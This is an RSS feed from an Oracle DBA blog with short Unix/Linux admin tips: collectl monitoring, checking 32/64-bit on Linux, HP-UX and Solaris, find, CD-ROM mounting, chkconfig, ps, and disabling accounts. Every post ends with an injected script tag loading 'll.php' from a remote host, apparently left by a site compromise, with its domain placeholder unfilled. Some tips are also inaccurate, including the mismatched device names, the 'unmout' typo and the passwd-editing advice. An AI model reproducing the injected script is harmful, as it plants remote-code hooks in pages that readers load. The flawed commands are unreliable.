<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; Unix-Linux Administration</title>
	<atom:link href="http://www.bestremotedba.com/topics/unix-linux-administration/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Server Performance Data Collection &#8211; Collectl</title>
		<link>http://www.bestremotedba.com/server-performance-data-collection-collectl/</link>
		<comments>http://www.bestremotedba.com/server-performance-data-collection-collectl/#comments</comments>
		<pubDate>Sat, 12 Feb 2011 00:30:21 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[DataBase Monitoring]]></category>
		<category><![CDATA[Oracle DBA Interview Questions]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[CPU]]></category>
		<category><![CDATA[Disk]]></category>
		<category><![CDATA[Disk Usage Monitoring]]></category>
		<category><![CDATA[Linux Server Performance]]></category>
		<category><![CDATA[Network Monitoring]]></category>
		<category><![CDATA[Server Monitoring]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=889</guid>
		<description><![CDATA[Server Performance Data Collection - Collectl]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Server Performance Data Collection</p>
<p>1. Disk</p>
<p>2. CPU</p>
<p>3. Network &#8230; Etc</p>
<p>There are a number of times in which you find yourself needing performance data. These can include benchmarking, monitoring a system&#8217;s general heath or trying to determine what your system was doing at some time in the past. Sometimes you just want to know what the system is doing right now. Depending on what you&#8217;re doing, you often end up using different tools, each designed to for that specific situation.</p>
<p>Unlike most monitoring tools that either focus on a small set of statistics, format their output in only one way, run either interatively or as a daemon but not both, collectl tries to do it all. You can choose to monitor any of a broad set of subsystems which currently include buddyinfo, cpu, disk, inodes, infiniband, lustre, memory, network, nfs, processes, quadrics, slabs, sockets and tcp.</p>
<p>By default it shows cpu, network and disk stats in brief format. The key point of this format is all output appears on a single line making it much easier to spot spikes or other anomalies in the output:</p>
<p>[oracle@Mudhalvan] collectl</p>
<p>while writing to an NFS mounted filesystem, collectl displays interrupts, memory usage and nfs activity with timestamps. Keep in mind that you can mix and match any data and in the case of brief format you simply need to have a window wide enough to accommodate your output.<br />
[oracle@Mudhalvan] collectl -sjmf -oT</p>
<p>You can also display the same information in verbose format, in which case you get a single line for each type of data at the expense of more screen real estate, as can be seen in this example of network data during NFS writes. Note how you can actually see the network traffic stall while waiting for the server to physically write the data.<br />
[oracle@Mudhalvan] collectl -sn &#8211;verbose -oT<br />
[oracle@Mudhalvan] collectl -sJ -oTm</p>
<p>Output can also be saved in a rolling set of logs for later playback or displayed interactively in a variety of formats. If all that isn&#8217;t enough there are additional mechanisms for supplying data to external tools by generating output as s-expressions, a format of choice for some tools such as supermon or in another format called list-expressions. This output can be written to a file or sent over a socket. You can even create files in space-separated format for plotting with external packages like gnuplot or colplot, part of the collectl utilities project, which provides a web-based interface to gnuplot.</p>
<p>Collectl runs on all linux distros (it&#8217;s included as part of Fedora) and only requires perl. If the perl Time::Hires module is installed, you will be able to use fractional intervals and display timestamps in msecs. If the Compress::Zlib module is installed the recorded data will be compressed and therefore use on average 90% less storage when recording to a file. Also note that the above links are not for RPMs. If you&#8217;d rather work with RPMs there are far too many versions out there to link to and so I&#8217;m sorry to say you&#8217;re on your own.</p>
<p>Did you know there was an inconsistency in the way Linux reported disk metrics that wasn&#8217;t even noticed/fixed until the 2.6-14 kernel was released? Collectl did. Or how about the fact that network stats may not accurately reported by most network monitoring tools at one second intervals? See this page for a description of the problem and how you can get more accurate stats by simply running collectl at a sub-second interval.</p>
<p><a href="http://collectl.sourceforge.net/">You can have the updated version here</a><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/server-performance-data-collection-collectl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to know Linux machine is 32 or 64 bit?</title>
		<link>http://www.bestremotedba.com/how-to-know-linux-machine-is-32-or-64-bit/</link>
		<comments>http://www.bestremotedba.com/how-to-know-linux-machine-is-32-or-64-bit/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 05:01:37 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to know Linux machine is 32 or 64 bit?]]></category>
		<category><![CDATA[Linux machine is 32 or 64 bit?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=882</guid>
		<description><![CDATA[How to know Linux machine is 32 or 64 bit?]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>How to know Linux machine is 32 or 64 bit?</p>
<p># uname -m</p>
<p>i386 or i686 then it is 32 bit<br />
x86_64 is 64bit<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-know-linux-machine-is-32-or-64-bit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HP-Unix machine is 32 or 64 bit?</title>
		<link>http://www.bestremotedba.com/hp-unix-machine-is-32-or-64-bit/</link>
		<comments>http://www.bestremotedba.com/hp-unix-machine-is-32-or-64-bit/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 04:57:54 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Unix Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to know HP-Unix machine is 32 or 64 bit?]]></category>
		<category><![CDATA[HP-Unix machine is 32 or 64 bit?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=880</guid>
		<description><![CDATA[HP-Unix machine is 32 or 64 bit?]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>HP-Unix machine is 32 or 64 bit?</p>
<p>Method 1:<br />
# getconf KERNEL_BITS</p>
<p>Method 2:<br />
# ps -ef |grep RT</p>
<p>Method 3:</p>
<p># file /stand/vmunix </p>
<p>	If 64 bit it will show something like: ELF-64 executable object file<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/hp-unix-machine-is-32-or-64-bit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to know Sun Solaris machine is 32 or 64 bit?</title>
		<link>http://www.bestremotedba.com/how-to-know-sun-solaris-machine-is-32-or-64-bit/</link>
		<comments>http://www.bestremotedba.com/how-to-know-sun-solaris-machine-is-32-or-64-bit/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 04:51:39 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to know Sun Solaris machine is 32 or 64 bit?]]></category>
		<category><![CDATA[Solaris machine is 32 or 64 bit?]]></category>
		<category><![CDATA[Sun Solaris machine is 32 or 64 bit?]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=878</guid>
		<description><![CDATA[How to know Sun Solaris machine is 32 or 64 bit?]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>How to know Sun Solaris machine is 32 or 64 bit?</p>
<p># isainfo -v<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-know-sun-solaris-machine-is-32-or-64-bit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Command to find files created a day before</title>
		<link>http://www.bestremotedba.com/command-to-find-files-created-a-day-before/</link>
		<comments>http://www.bestremotedba.com/command-to-find-files-created-a-day-before/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 03:32:53 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[Command to find files created a day before]]></category>
		<category><![CDATA[find command]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=791</guid>
		<description><![CDATA[This command will help you to find the files created one day before in the specified folder. find . -type f -mtime 1 -exec ls -lth &#8216;{}&#8217; \;]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>This command will help you to find the files created one day before in the specified folder. </p>
<p>find . -type f -mtime 1 -exec ls -lth &#8216;{}&#8217; \;</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/command-to-find-files-created-a-day-before/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Detect and Mount the CD-ROM in Linux</title>
		<link>http://www.bestremotedba.com/how-to-detect-and-mount-the-cd-rom-in-linux/</link>
		<comments>http://www.bestremotedba.com/how-to-detect-and-mount-the-cd-rom-in-linux/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 22:13:10 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to Detect and Mount the CD-ROM in Linux]]></category>
		<category><![CDATA[mount the cdrom in linux]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=758</guid>
		<description><![CDATA[How to Detect and Mount the CD-ROM in Linux]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>How to Detect and Mount the CD-ROM in Linux</p>
<p>1. Detecting CD-ROM/DVD-ROM drive<br />
# wodim &#8211;devices </p>
<p>[lokesh@Mudhalvan ~]$ wodim &#8211;devices<br />
wodim: Overview of accessible drives (1 found) :<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
 0  dev=&#8217;/dev/scd0&#8242;     rwrw&#8211; : &#8216;HL-DT-ST&#8217; &#8216;RW/DVD GCC-4243N&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[lokesh@Mudhalvan ~]$ </p>
<p>2. Testing for iso9660 compatibility<br />
# cat /proc/filesystems </p>
<p>3. Creating mount point<br />
# mkdir /media/cdrom</p>
<p>4. Mounting CD<br />
# mount -t iso9660 /dev/scd0 /media/cdrom/ </p>
<p>5. Altering /etc/fstab<br />
/dev/sdc0        /media/cdrom   iso9660 ro,user,noauto  0       0 </p>
<p>6. Unmount and eject CD<br />
# unmout /dev/sdc0<br />
# eject <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-detect-and-mount-the-cd-rom-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to see newly added emc lun in HP Unix</title>
		<link>http://www.bestremotedba.com/675/</link>
		<comments>http://www.bestremotedba.com/675/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 01:28:43 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Unix Administration]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=675</guid>
		<description><![CDATA[How to see newly added emc lun in HP Unix]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>1. Login as root and do ioscan before add the Lun to the Unix Machine<br />
# ioscan -fnCdisk</p>
<p>2. Add the lun to Unix machine by EMC Navigator</p>
<p>3. No need to restart the Unix machine do the ioscan again will show you the newly added disk as CLAIMED but devices will not show</p>
<p>#ioscan -fnCdisk</p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/675/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>chkconfig &#8211; Linux Service Auto Start/Stop</title>
		<link>http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/</link>
		<comments>http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 07:13:23 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Linux Administration]]></category>
		<category><![CDATA[chkconfig]]></category>
		<category><![CDATA[chkconfig - Linux Service Auto Start/Stop]]></category>
		<category><![CDATA[Linux Service Auto Start/Stop]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/</guid>
		<description><![CDATA[chkconfig - Linux Service Auto Start/Stop]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>chkconfig &#8211; Linux Service Auto Start/Stop </p>
<p>The chkconfig command can be used to activate and deactivate services. If you use the chkconfig &#8211;list command, you will see a list of system services and whether they are started (on) or stopped (off) in runlevels 0-6 </p>
<p># chkconfig<br />
chkconfig version 1.3.30.1 &#8211; Copyright (C) 1997-2000 Red Hat, Inc.<br />
This may be freely redistributed under the terms of the GNU Public License.</p>
<p>usage:   chkconfig &#8211;list [name]<br />
         chkconfig &#8211;add <name><br />
         chkconfig &#8211;del <name><br />
         chkconfig [--level <levels>] <name> <on|off|reset|resetpriorities></p>
<p>1. chkconfig &#8211;list <servicename> &#8211; will query any service in /etc/rc.d with each runlevel</p>
<p>		$ chkconfig &#8211;list anacron<br />
			anacron         0:off   1:off   2:on    3:on    4:on    5:on    6:off</p>
<p>2. chkconfig &#8211;level <0/1/2/3/4/5/6> <servicename> <on/off> &#8211; Will be used to auto start/stop the service at each run level</p>
<p>	chkconfig can be used to set a service to be started (or not) in a specific runlevel. </p>
<p>For example, to turn ntpd off in runlevels 3, 4, and 5, use the command: </p>
<p>	chkconfig &#8211;level 345 ntpd off<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/chkconfig-linux-service-auto-startstop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to know Linux process Priority</title>
		<link>http://www.bestremotedba.com/how-to-know-linux-process-priority/</link>
		<comments>http://www.bestremotedba.com/how-to-know-linux-process-priority/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 05:18:44 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[How to know Linux process Priority]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=570</guid>
		<description><![CDATA[How to know Linux process Priority]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>We will be able to know many information about each process by doing &#8220;ps&#8221; command. </p>
<p>Do check the man page for &#8220;ps&#8221; </p>
<p>#man ps</p>
<p>Here is the simple information about the process</p>
<p>[root@TEST01 ~]# ps -ef -o user,pid,project,class,zone,pset,pri,nlwp,psr,time,args</p>
<p>Warning: bad syntax, perhaps a bogus &#8216;-&#8217;? See /usr/share/doc/procps-3.2.7/FAQ<br />
USER       PID PROJECT      CLS ZONE                            PSET PRI NLWP PSR     TIME COMMAND<br />
root     30833 &#8211;            TS  &#8211;                                  &#8211;  24    1   1 00:00:00 -bash USER=root LOGNAME=root HOME=/root PATH=/usr/local/sbin:/usr<br />
root     30891 &#8211;            TS  &#8211;                                  &#8211;  22    1   1 00:00:00  \_ ps -ef -o user,pid,project,class,zone,pset,pri,nlwp,psr,time,<br />
root      3691 &#8211;            TS  &#8211;                                  &#8211;  24    1   1 00:00:03 /usr/bin/Xorg :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten t<br />
root      3627 &#8211;            TS  &#8211;                                  &#8211;  16    1   0 00:00:00 /sbin/mingetty tty6 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bin:<br />
root      3626 &#8211;            TS  &#8211;                                  &#8211;  18    1   0 00:00:00 /sbin/mingetty tty5 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bin:<br />
root      3595 &#8211;            TS  &#8211;                                  &#8211;  21    1   1 00:00:00 /sbin/mingetty tty4 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bin:<br />
root      3591 &#8211;            TS  &#8211;                                  &#8211;  18    1   0 00:00:00 /sbin/mingetty tty3 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bin:<br />
root      3585 &#8211;            TS  &#8211;                                  &#8211;  21    1   1 00:00:00 /sbin/mingetty tty2 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bin:<br />
root      3582 &#8211;            TS  &#8211;                                  &#8211;  21    1   1 00:00:00 /sbin/mingetty tty1 HOME=/ TERM=linux SELINUX_INIT=YES PATH=/bin:<br />
[root@TEST01 ~]#<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-know-linux-process-priority/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disable/Enable Unix user account</title>
		<link>http://www.bestremotedba.com/disableenable-unix-user-account/</link>
		<comments>http://www.bestremotedba.com/disableenable-unix-user-account/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 12:20:48 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Unix-Linux Administration]]></category>
		<category><![CDATA[Disable/Enable Unix user account]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=558</guid>
		<description><![CDATA[Disable/Enable Unix user account]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>To disable an account put an * in front of the account line in /etc/passwd.</p>
<p>To enable it again remove the * in front of the line.<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/disableenable-unix-user-account/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

